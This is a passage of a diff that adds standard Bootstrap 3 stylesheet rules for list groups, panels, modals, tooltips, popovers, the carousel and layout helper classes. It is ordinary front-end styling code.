border-top-right-radius: 4px; +} +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: 4px; + border-bottom-left-radius: 4px; +} +a.list-group-item, +button.list-group-item { + color: #555; +} +a.list-group-item .list-group-item-heading, +button.list-group-item .list-group-item-heading { + color: #333; +} +a.list-group-item:hover, +button.list-group-item:hover, +a.list-group-item:focus, +button.list-group-item:focus { + color: #555; + text-decoration: none; + background-color: #f5f5f5; +} +button.list-group-item { + width: 100%; + text-align: left; +} +.list-group-item.disabled, +.list-group-item.disabled:hover, +.list-group-item.disabled:focus { + color: #777; + cursor: not-allowed; + background-color: #eee; +} +.list-group-item.disabled .list-group-item-heading, +.list-group-item.disabled:hover .list-group-item-heading, +.list-group-item.disabled:focus .list-group-item-heading { + color: inherit; +} +.list-group-item.disabled .list-group-item-text, +.list-group-item.disabled:hover .list-group-item-text, +.list-group-item.disabled:focus .list-group-item-text { + color: #777; +} +.list-group-item.active, +.list-group-item.active:hover, +.list-group-item.active:focus { + z-index: 2; + color: #fff; + background-color: #337ab7; + border-color: #337ab7; +} +.list-group-item.active .list-group-item-heading, +.list-group-item.active:hover .list-group-item-heading, +.list-group-item.active:focus .list-group-item-heading, +.list-group-item.active .list-group-item-heading > small, +.list-group-item.active:hover .list-group-item-heading > small, +.list-group-item.active:focus .list-group-item-heading > small, +.list-group-item.active .list-group-item-heading > .small, +.list-group-item.active:hover .list-group-item-heading > .small, +.list-group-item.active:focus .list-group-item-heading > .small { + color: inherit; +} +.list-group-item.active .list-group-item-text, +.list-group-item.active:hover .list-group-item-text, +.list-group-item.active:focus .list-group-item-text { + color: #c7ddef; +} +.list-group-item-success { + color: #3c763d; + background-color: #dff0d8; +} +a.list-group-item-success, +button.list-group-item-success { + color: #3c763d; +} +a.list-group-item-success .list-group-item-heading, +button.list-group-item-success .list-group-item-heading { + color: inherit; +} +a.list-group-item-success:hover, +button.list-group-item-success:hover, +a.list-group-item-success:focus, +button.list-group-item-success:focus { + color: #3c763d; + background-color: #d0e9c6; +} +a.list-group-item-success.active, +button.list-group-item-success.active, +a.list-group-item-success.active:hover, +button.list-group-item-success.active:hover, +a.list-group-item-success.active:focus, +button.list-group-item-success.active:focus { + color: #fff; + background-color: #3c763d; + border-color: #3c763d; +} +.list-group-item-info { + color: #31708f; + background-color: #d9edf7; +} +a.list-group-item-info, +button.list-group-item-info { + color: #31708f; +} +a.list-group-item-info .list-group-item-heading, +button.list-group-item-info .list-group-item-heading { + color: inherit; +} +a.list-group-item-info:hover, +button.list-group-item-info:hover, +a.list-group-item-info:focus, +button.list-group-item-info:focus { + color: #31708f; + background-color: #c4e3f3; +} +a.list-group-item-info.active, +button.list-group-item-info.active, +a.list-group-item-info.active:hover, +button.list-group-item-info.active:hover, +a.list-group-item-info.active:focus, +button.list-group-item-info.active:focus { + color: #fff; + background-color: #31708f; + border-color: #31708f; +} +.list-group-item-warning { + color: #8a6d3b; + background-color: #fcf8e3; +} +a.list-group-item-warning, +button.list-group-item-warning { + color: #8a6d3b; +} +a.list-group-item-warning .list-group-item-heading, +button.list-group-item-warning .list-group-item-heading { + color: inherit; +} +a.list-group-item-warning:hover, +button.list-group-item-warning:hover, +a.list-group-item-warning:focus, +button.list-group-item-warning:focus { + color: #8a6d3b; + background-color: #faf2cc; +} +a.list-group-item-warning.active, +button.list-group-item-warning.active, +a.list-group-item-warning.active:hover, +button.list-group-item-warning.active:hover, +a.list-group-item-warning.active:focus, +button.list-group-item-warning.active:focus { + color: #fff; + background-color: #8a6d3b; + border-color: #8a6d3b; +} +.list-group-item-danger { + color: #a94442; + background-color: #f2dede; +} +a.list-group-item-danger, +button.list-group-item-danger { + color: #a94442; +} +a.list-group-item-danger .list-group-item-heading, +button.list-group-item-danger .list-group-item-heading { + color: inherit; +} +a.list-group-item-danger:hover, +button.list-group-item-danger:hover, +a.list-group-item-danger:focus, +button.list-group-item-danger:focus { + color: #a94442; + background-color: #ebcccc; +} +a.list-group-item-danger.active, +button.list-group-item-danger.active, +a.list-group-item-danger.active:hover, +button.list-group-item-danger.active:hover, +a.list-group-item-danger.active:focus, +button.list-group-item-danger.active:focus { + color: #fff; + background-color: #a94442; + border-color: #a94442; +} +.list-group-item-heading { + margin-top: 0; + margin-bottom: 5px; +} +.list-group-item-text { + margin-bottom: 0; + line-height: 1.3; +} +.panel { + margin-bottom: 20px; + background-color: #fff; + border: 1px solid transparent; + border-radius: 4px; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05); + box-shadow: 0 1px 1px rgba(0, 0, 0, .05); +} +.panel-body { + padding: 15px; +} +.panel-heading { + padding: 10px 15px; + border-bottom: 1px solid transparent; + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel-heading > .dropdown .dropdown-toggle { + color: inherit; +} +.panel-title { + margin-top: 0; + margin-bottom: 0; + font-size: 16px; + color: inherit; +} +.panel-title > a, +.panel-title > small, +.panel-title > .small, +.panel-title > small > a, +.panel-title > .small > a { + color: inherit; +} +.panel-footer { + padding: 10px 15px; + background-color: #f5f5f5; + border-top: 1px solid #ddd; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .list-group, +.panel > .panel-collapse > .list-group { + margin-bottom: 0; +} +.panel > .list-group .list-group-item, +.panel > .panel-collapse > .list-group .list-group-item { + border-width: 1px 0; + border-radius: 0; +} +.panel > .list-group:first-child .list-group-item:first-child, +.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { + border-top: 0; + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .list-group:last-child .list-group-item:last-child, +.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { + border-bottom: 0; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child { + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.panel-heading + .list-group .list-group-item:first-child { + border-top-width: 0; +} +.list-group + .panel-footer { + border-top-width: 0; +} +.panel > .table, +.panel > .table-responsive > .table, +.panel > .panel-collapse > .table { + margin-bottom: 0; +} +.panel > .table caption, +.panel > .table-responsive > .table caption, +.panel > .panel-collapse > .table caption { + padding-right: 15px; + padding-left: 15px; +} +.panel > .table:first-child, +.panel > .table-responsive:first-child > .table:first-child { + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child { + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { + border-top-left-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { + border-top-right-radius: 3px; +} +.panel > .table:last-child, +.panel > .table-responsive:last-child > .table:last-child { + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { + border-bottom-right-radius: 3px; +} +.panel > .panel-body + .table, +.panel > .panel-body + .table-responsive, +.panel > .table + .panel-body, +.panel > .table-responsive + .panel-body { + border-top: 1px solid #ddd; +} +.panel > .table > tbody:first-child > tr:first-child th, +.panel > .table > tbody:first-child > tr:first-child td { + border-top: 0; +} +.panel > .table-bordered, +.panel > .table-responsive > .table-bordered { + border: 0; +} +.panel > .table-bordered > thead > tr > th:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:first-child, +.panel > .table-bordered > tbody > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, +.panel > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-bordered > thead > tr > td:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:first-child, +.panel > .table-bordered > tbody > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, +.panel > .table-bordered > tfoot > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; +} +.panel > .table-bordered > thead > tr > th:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:last-child, +.panel > .table-bordered > tbody > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, +.panel > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-bordered > thead > tr > td:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:last-child, +.panel > .table-bordered > tbody > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, +.panel > .table-bordered > tfoot > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; +} +.panel > .table-bordered > thead > tr:first-child > td, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > td, +.panel > .table-bordered > tbody > tr:first-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, +.panel > .table-bordered > thead > tr:first-child > th, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > th, +.panel > .table-bordered > tbody > tr:first-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { + border-bottom: 0; +} +.panel > .table-bordered > tbody > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, +.panel > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-bordered > tbody > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, +.panel > .table-bordered > tfoot > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { + border-bottom: 0; +} +.panel > .table-responsive { + margin-bottom: 0; + border: 0; +} +.panel-group { + margin-bottom: 20px; +} +.panel-group .panel { + margin-bottom: 0; + border-radius: 4px; +} +.panel-group .panel + .panel { + margin-top: 5px; +} +.panel-group .panel-heading { + border-bottom: 0; +} +.panel-group .panel-heading + .panel-collapse > .panel-body, +.panel-group .panel-heading + .panel-collapse > .list-group { + border-top: 1px solid #ddd; +} +.panel-group .panel-footer { + border-top: 0; +} +.panel-group .panel-footer + .panel-collapse .panel-body { + border-bottom: 1px solid #ddd; +} +.panel-default { + border-color: #ddd; +} +.panel-default > .panel-heading { + color: #333; + background-color: #f5f5f5; + border-color: #ddd; +} +.panel-default > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ddd; +} +.panel-default > .panel-heading .badge { + color: #f5f5f5; + background-color: #333; +} +.panel-default > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ddd; +} +.panel-primary { + border-color: #337ab7; +} +.panel-primary > .panel-heading { + color: #fff; + background-color: #337ab7; + border-color: #337ab7; +} +.panel-primary > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #337ab7; +} +.panel-primary > .panel-heading .badge { + color: #337ab7; + background-color: #fff; +} +.panel-primary > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #337ab7; +} +.panel-success { + border-color: #d6e9c6; +} +.panel-success > .panel-heading { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; +} +.panel-success > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #d6e9c6; +} +.panel-success > .panel-heading .badge { + color: #dff0d8; + background-color: #3c763d; +} +.panel-success > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #d6e9c6; +} +.panel-info { + border-color: #bce8f1; +} +.panel-info > .panel-heading { + color: #31708f; + background-color: #d9edf7; + border-color: #bce8f1; +} +.panel-info > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #bce8f1; +} +.panel-info > .panel-heading .badge { + color: #d9edf7; + background-color: #31708f; +} +.panel-info > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #bce8f1; +} +.panel-warning { + border-color: #faebcc; +} +.panel-warning > .panel-heading { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #faebcc; +} +.panel-warning > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #faebcc; +} +.panel-warning > .panel-heading .badge { + color: #fcf8e3; + background-color: #8a6d3b; +} +.panel-warning > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #faebcc; +} +.panel-danger { + border-color: #ebccd1; +} +.panel-danger > .panel-heading { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; +} +.panel-danger > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ebccd1; +} +.panel-danger > .panel-heading .badge { + color: #f2dede; + background-color: #a94442; +} +.panel-danger > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ebccd1; +} +.embed-responsive { + position: relative; + display: block; + height: 0; + padding: 0; + overflow: hidden; +} +.embed-responsive .embed-responsive-item, +.embed-responsive iframe, +.embed-responsive embed, +.embed-responsive object, +.embed-responsive video { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + border: 0; +} +.embed-responsive-16by9 { + padding-bottom: 56.25%; +} +.embed-responsive-4by3 { + padding-bottom: 75%; +} +.well { + min-height: 20px; + padding: 19px; + margin-bottom: 20px; + background-color: #f5f5f5; + border: 1px solid #e3e3e3; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); +} +.well blockquote { + border-color: #ddd; + border-color: rgba(0, 0, 0, .15); +} +.well-lg { + padding: 24px; + border-radius: 6px; +} +.well-sm { + padding: 9px; + border-radius: 3px; +} +.close { + float: right; + font-size: 21px; + font-weight: bold; + line-height: 1; + color: #000; + text-shadow: 0 1px 0 #fff; + filter: alpha(opacity=20); + opacity: .2; +} +.close:hover, +.close:focus { + color: #000; + text-decoration: none; + cursor: pointer; + filter: alpha(opacity=50); + opacity: .5; +} +button.close { + -webkit-appearance: none; + padding: 0; + cursor: pointer; + background: transparent; + border: 0; +} +.modal-open { + overflow: hidden; +} +.modal { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1050; + display: none; + overflow: hidden; + -webkit-overflow-scrolling: touch; + outline: 0; +} +.modal.fade .modal-dialog { + -webkit-transition: -webkit-transform .3s ease-out; + -o-transition: -o-transform .3s ease-out; + transition: transform .3s ease-out; + -webkit-transform: translate(0, -25%); + -ms-transform: translate(0, -25%); + -o-transform: translate(0, -25%); + transform: translate(0, -25%); +} +.modal.in .modal-dialog { + -webkit-transform: translate(0, 0); + -ms-transform: translate(0, 0); + -o-transform: translate(0, 0); + transform: translate(0, 0); +} +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto; +} +.modal-dialog { + position: relative; + width: auto; + margin: 10px; +} +.modal-content { + position: relative; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #999; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: 6px; + outline: 0; + -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5); + box-shadow: 0 3px 9px rgba(0, 0, 0, .5); +} +.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000; +} +.modal-backdrop.fade { + filter: alpha(opacity=0); + opacity: 0; +} +.modal-backdrop.in { + filter: alpha(opacity=50); + opacity: .5; +} +.modal-header { + padding: 15px; + border-bottom: 1px solid #e5e5e5; +} +.modal-header .close { + margin-top: -2px; +} +.modal-title { + margin: 0; + line-height: 1.42857143; +} +.modal-body { + position: relative; + padding: 15px; +} +.modal-footer { + padding: 15px; + text-align: right; + border-top: 1px solid #e5e5e5; +} +.modal-footer .btn + .btn { + margin-bottom: 0; + margin-left: 5px; +} +.modal-footer .btn-group .btn + .btn { + margin-left: -1px; +} +.modal-footer .btn-block + .btn-block { + margin-left: 0; +} +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll; +} +@media (min-width: 768px) { + .modal-dialog { + width: 600px; + margin: 30px auto; + } + .modal-content { + -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5); + box-shadow: 0 5px 15px rgba(0, 0, 0, .5); + } + .modal-sm { + width: 300px; + } +} +@media (min-width: 992px) { + .modal-lg { + width: 900px; + } +} +.tooltip { + position: absolute; + z-index: 1070; + display: block; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 12px; + font-style: normal; + font-weight: normal; + line-height: 1.42857143; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + word-wrap: normal; + white-space: normal; + filter: alpha(opacity=0); + opacity: 0; + + line-break: auto; +} +.tooltip.in { + filter: alpha(opacity=90); + opacity: .9; +} +.tooltip.top { + padding: 5px 0; + margin-top: -3px; +} +.tooltip.right { + padding: 0 5px; + margin-left: 3px; +} +.tooltip.bottom { + padding: 5px 0; + margin-top: 3px; +} +.tooltip.left { + padding: 0 5px; + margin-left: -3px; +} +.tooltip-inner { + max-width: 200px; + padding: 3px 8px; + color: #fff; + text-align: center; + background-color: #000; + border-radius: 4px; +} +.tooltip-arrow { + position: absolute; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} +.tooltip.top .tooltip-arrow { + bottom: 0; + left: 50%; + margin-left: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.top-left .tooltip-arrow { + right: 5px; + bottom: 0; + margin-bottom: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.top-right .tooltip-arrow { + bottom: 0; + left: 5px; + margin-bottom: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.right .tooltip-arrow { + top: 50%; + left: 0; + margin-top: -5px; + border-width: 5px 5px 5px 0; + border-right-color: #000; +} +.tooltip.left .tooltip-arrow { + top: 50%; + right: 0; + margin-top: -5px; + border-width: 5px 0 5px 5px; + border-left-color: #000; +} +.tooltip.bottom .tooltip-arrow { + top: 0; + left: 50%; + margin-left: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.tooltip.bottom-left .tooltip-arrow { + top: 0; + right: 5px; + margin-top: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.tooltip.bottom-right .tooltip-arrow { + top: 0; + left: 5px; + margin-top: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: none; + max-width: 276px; + padding: 1px; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + font-style: normal; + font-weight: normal; + line-height: 1.42857143; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + word-wrap: normal; + white-space: normal; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: 6px; + -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); + box-shadow: 0 5px 10px rgba(0, 0, 0, .2); + + line-break: auto; +} +.popover.top { + margin-top: -10px; +} +.popover.right { + margin-left: 10px; +} +.popover.bottom { + margin-top: 10px; +} +.popover.left { + margin-left: -10px; +} +.popover-title { + padding: 8px 14px; + margin: 0; + font-size: 14px; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-radius: 5px 5px 0 0; +} +.popover-content { + padding: 9px 14px; +} +.popover > .arrow, +.popover > .arrow:after { + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} +.popover > .arrow { + border-width: 11px; +} +.popover > .arrow:after { + content: ""; + border-width: 10px; +} +.popover.top > .arrow { + bottom: -11px; + left: 50%; + margin-left: -11px; + border-top-color: #999; + border-top-color: rgba(0, 0, 0, .25); + border-bottom-width: 0; +} +.popover.top > .arrow:after { + bottom: 1px; + margin-left: -10px; + content: " "; + border-top-color: #fff; + border-bottom-width: 0; +} +.popover.right > .arrow { + top: 50%; + left: -11px; + margin-top: -11px; + border-right-color: #999; + border-right-color: rgba(0, 0, 0, .25); + border-left-width: 0; +} +.popover.right > .arrow:after { + bottom: -10px; + left: 1px; + content: " "; + border-right-color: #fff; + border-left-width: 0; +} +.popover.bottom > .arrow { + top: -11px; + left: 50%; + margin-left: -11px; + border-top-width: 0; + border-bottom-color: #999; + border-bottom-color: rgba(0, 0, 0, .25); +} +.popover.bottom > .arrow:after { + top: 1px; + margin-left: -10px; + content: " "; + border-top-width: 0; + border-bottom-color: #fff; +} +.popover.left > .arrow { + top: 50%; + right: -11px; + margin-top: -11px; + border-right-width: 0; + border-left-color: #999; + border-left-color: rgba(0, 0, 0, .25); +} +.popover.left > .arrow:after { + right: 1px; + bottom: -10px; + content: " "; + border-right-width: 0; + border-left-color: #fff; +} +.carousel { + position: relative; +} +.carousel-inner { + position: relative; + width: 100%; + overflow: hidden; +} +.carousel-inner > .item { + position: relative; + display: none; + -webkit-transition: .6s ease-in-out left; + -o-transition: .6s ease-in-out left; + transition: .6s ease-in-out left; +} +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + line-height: 1; +} +@media all and (transform-3d), (-webkit-transform-3d) { + .carousel-inner > .item { + -webkit-transition: -webkit-transform .6s ease-in-out; + -o-transition: -o-transform .6s ease-in-out; + transition: transform .6s ease-in-out; + + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-perspective: 1000px; + perspective: 1000px; + } + .carousel-inner > .item.next, + .carousel-inner > .item.active.right { + left: 0; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } + .carousel-inner > .item.prev, + .carousel-inner > .item.active.left { + left: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + .carousel-inner > .item.next.left, + .carousel-inner > .item.prev.right, + .carousel-inner > .item.active { + left: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.carousel-inner > .active, +.carousel-inner > .next, +.carousel-inner > .prev { + display: block; +} +.carousel-inner > .active { + left: 0; +} +.carousel-inner > .next, +.carousel-inner > .prev { + position: absolute; + top: 0; + width: 100%; +} +.carousel-inner > .next { + left: 100%; +} +.carousel-inner > .prev { + left: -100%; +} +.carousel-inner > .next.left, +.carousel-inner > .prev.right { + left: 0; +} +.carousel-inner > .active.left { + left: -100%; +} +.carousel-inner > .active.right { + left: 100%; +} +.carousel-control { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 15%; + font-size: 20px; + color: #fff; + text-align: center; + text-shadow: 0 1px 2px rgba(0, 0, 0, .6); + background-color: rgba(0, 0, 0, 0); + filter: alpha(opacity=50); + opacity: .5; +} +.carousel-control.left { + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001))); + background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); + background-repeat: repeat-x; +} +.carousel-control.right { + right: 0; + left: auto; + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5))); + background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); + background-repeat: repeat-x; +} +.carousel-control:hover, +.carousel-control:focus { + color: #fff; + text-decoration: none; + filter: alpha(opacity=90); + outline: 0; + opacity: .9; +} +.carousel-control .icon-prev, +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-left, +.carousel-control .glyphicon-chevron-right { + position: absolute; + top: 50%; + z-index: 5; + display: inline-block; + margin-top: -10px; +} +.carousel-control .icon-prev, +.carousel-control .glyphicon-chevron-left { + left: 50%; + margin-left: -10px; +} +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-right { + right: 50%; + margin-right: -10px; +} +.carousel-control .icon-prev, +.carousel-control .icon-next { + width: 20px; + height: 20px; + font-family: serif; + line-height: 1; +} +.carousel-control .icon-prev:before { + content: '\2039'; +} +.carousel-control .icon-next:before { + content: '\203a'; +} +.carousel-indicators { + position: absolute; + bottom: 10px; + left: 50%; + z-index: 15; + width: 60%; + padding-left: 0; + margin-left: -30%; + text-align: center; + list-style: none; +} +.carousel-indicators li { + display: inline-block; + width: 10px; + height: 10px; + margin: 1px; + text-indent: -999px; + cursor: pointer; + background-color: #000 \9; + background-color: rgba(0, 0, 0, 0); + border: 1px solid #fff; + border-radius: 10px; +} +.carousel-indicators .active { + width: 12px; + height: 12px; + margin: 0; + background-color: #fff; +} +.carousel-caption { + position: absolute; + right: 15%; + bottom: 20px; + left: 15%; + z-index: 10; + padding-top: 20px; + padding-bottom: 20px; + color: #fff; + text-align: center; + text-shadow: 0 1px 2px rgba(0, 0, 0, .6); +} +.carousel-caption .btn { + text-shadow: none; +} +@media screen and (min-width: 768px) { + .carousel-control .glyphicon-chevron-left, + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-prev, + .carousel-control .icon-next { + width: 30px; + height: 30px; + margin-top: -10px; + font-size: 30px; + } + .carousel-control .glyphicon-chevron-left, + .carousel-control .icon-prev { + margin-left: -10px; + } + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-next { + margin-right: -10px; + } + .carousel-caption { + right: 20%; + left: 20%; + padding-bottom: 30px; + } + .carousel-indicators { + bottom: 20px; + } +} +.clearfix:before, +.clearfix:after, +.dl-horizontal dd:before, +.dl-horizontal dd:after, +.container:before, +.container:after, +.container-fluid:before, +.container-fluid:after, +.row:before, +.row:after, +.form-horizontal .form-group:before, +.form-horizontal .form-group:after, +.btn-toolbar:before, +.btn-toolbar:after, +.btn-group-vertical > .btn-group:before, +.btn-group-vertical > .btn-group:after, +.nav:before, +.nav:after, +.navbar:before, +.navbar:after, +.navbar-header:before, +.navbar-header:after, +.navbar-collapse:before, +.navbar-collapse:after, +.pager:before, +.pager:after, +.panel-body:before, +.panel-body:after, +.modal-header:before, +.modal-header:after, +.modal-footer:before, +.modal-footer:after { + display: table; + content: " "; +} +.clearfix:after, +.dl-horizontal dd:after, +.container:after, +.container-fluid:after, +.row:after, +.form-horizontal .form-group:after, +.btn-toolbar:after, +.btn-group-vertical > .btn-group:after, +.nav:after, +.navbar:after, +.navbar-header:after, +.navbar-collapse:after, +.pager:after, +.panel-body:after, +.modal-header:after, +.modal-footer:after { + clear: both; +} +.center-block { + display: block; + margin-right: auto; + margin-left: auto; +} +.pull-right { + float: right !important; +} +.pull-left { + float: left !important; 